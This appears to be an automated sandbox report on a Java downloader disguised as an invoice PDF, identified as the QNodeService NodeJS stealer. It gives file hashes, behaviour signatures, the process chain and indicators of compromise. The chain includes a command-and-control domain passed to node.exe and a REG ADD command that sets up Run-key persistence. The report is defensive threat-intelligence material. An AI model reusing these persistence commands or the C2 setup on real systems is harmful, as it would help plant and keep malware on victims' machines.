Analysis
-
max time kernel
37s -
max time network
130s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
06-11-2020 10:37
Static task
static1
Behavioral task
behavioral1
Sample
Facture Octobre #052020.pdf.jar
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Facture Octobre #052020.pdf.jar
Resource
win10v20201028
General
-
Target
Facture Octobre #052020.pdf.jar
-
Size
120KB
-
MD5
c7139ea7b8db4abd3c0928fc15dc523e
-
SHA1
91c8278bc94c53fcec38777367b70ba670fb582d
-
SHA256
51817fd0b405ba6f554cb54c80e0c8c3add58876f6a2354dcb8146c538959cd5
-
SHA512
567b0e55a93a78262608e6a914fb89b6eb500f30327db776507fd5ceed7dace6536154e0f678f3ad3da8a35a3db58c05183caf6b395ee03034761882ffada776
Malware Config
Signatures
-
QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
-
Executes dropped EXE 3 IoCs
Processes:
node.exenode.exenode.exepid process 4676 node.exe 4536 node.exe 2524 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\ab5dbe50-10a0-4163-8b59-6792dd8a2495 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
Processes:
resource yara_rule C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 24 wtfismyip.com 25 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
node.exenode.exenode.exepid process 4676 node.exe 4676 node.exe 4676 node.exe 4676 node.exe 4536 node.exe 4536 node.exe 4536 node.exe 4536 node.exe 2524 node.exe 2524 node.exe 2524 node.exe 2524 node.exe 2524 node.exe 2524 node.exe 2524 node.exe 2524 node.exe 2524 node.exe 2524 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
java.exejavaw.exenode.exenode.exenode.execmd.exedescription pid process target process PID 4696 wrote to memory of 4348 4696 java.exe javaw.exe PID 4696 wrote to memory of 4348 4696 java.exe javaw.exe PID 4348 wrote to memory of 4676 4348 javaw.exe node.exe PID 4348 wrote to memory of 4676 4348 javaw.exe node.exe PID 4676 wrote to memory of 4536 4676 node.exe node.exe PID 4676 wrote to memory of 4536 4676 node.exe node.exe PID 4536 wrote to memory of 2524 4536 node.exe node.exe PID 4536 wrote to memory of 2524 4536 node.exe node.exe PID 2524 wrote to memory of 1044 2524 node.exe cmd.exe PID 2524 wrote to memory of 1044 2524 node.exe cmd.exe PID 1044 wrote to memory of 2160 1044 cmd.exe reg.exe PID 1044 wrote to memory of 2160 1044 cmd.exe reg.exe
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\Facture Octobre #052020.pdf.jar"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\17ee1f8a.tmp2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain mparrain10.duckdns.org3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SzjqjN\boot.js --hub-domain mparrain10.duckdns.org4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SzjqjN\boot.js --hub-domain mparrain10.duckdns.org5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ab5dbe50-10a0-4163-8b59-6792dd8a2495" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ab5dbe50-10a0-4163-8b59-6792dd8a2495" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestampMD5
be557cd6d1d341e39b0ad672b5903ff0
SHA12a8762e83d66db73e38a7d4e27ee9adf95c04ebd
SHA256551206a0daa3b2eb378ca0b93ddbb440c9f841904ded528b1f824c75d1b6f491
SHA5120fead7e1131abfc7fee1d7487aa94d63eb1619e96ce4b0a8f1273b3d417eb43f3152c59405623c1bd7dd72c86531a2c620d0d8ac40414c7b9f71835568156366
-
C:\Users\Admin\AppData\Local\Temp\17ee1f8a.tmpMD5
c7139ea7b8db4abd3c0928fc15dc523e
SHA191c8278bc94c53fcec38777367b70ba670fb582d
SHA25651817fd0b405ba6f554cb54c80e0c8c3add58876f6a2354dcb8146c538959cd5
SHA512567b0e55a93a78262608e6a914fb89b6eb500f30327db776507fd5ceed7dace6536154e0f678f3ad3da8a35a3db58c05183caf6b395ee03034761882ffada776
-
C:\Users\Admin\AppData\Local\Temp\_qhub_node_SzjqjN\boot.jsMD5
5ae37d62333fe9f50a67eeab5e814b04
SHA1104eb57a0a40f109f9810bd1e47dec2db74e9336
SHA25663084587ceef4fc0f2fe01750fbc83485f43b0c73f6ba14abeb058da28b0431e
SHA512089ae61fb457376ac5d3ede6aadaf4341722f3ce7dbd4e53c6a1641ce89806e5aaca53dd2427e3390f19d10ad627651e1a4a3e384a4b48a9722706ad050d60f4
-
C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
-
C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
-
C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
-
memory/1044-189-0x0000000000000000-mapping.dmp
-
memory/2160-190-0x0000000000000000-mapping.dmp
-
memory/2524-188-0x0000034DCAF40000-0x0000034DCAF41000-memory.dmpFilesize
4KB
-
memory/2524-186-0x0000000000000000-mapping.dmp
-
memory/4348-58-0x0000000000000000-mapping.dmp
-
memory/4536-182-0x0000000000000000-mapping.dmp
-
memory/4536-184-0x00000278685C0000-0x00000278685C1000-memory.dmpFilesize
4KB
-
memory/4676-181-0x000003C8D2200000-0x000003C8D2201000-memory.dmpFilesize
4KB
-
memory/4676-179-0x0000000000000000-mapping.dmp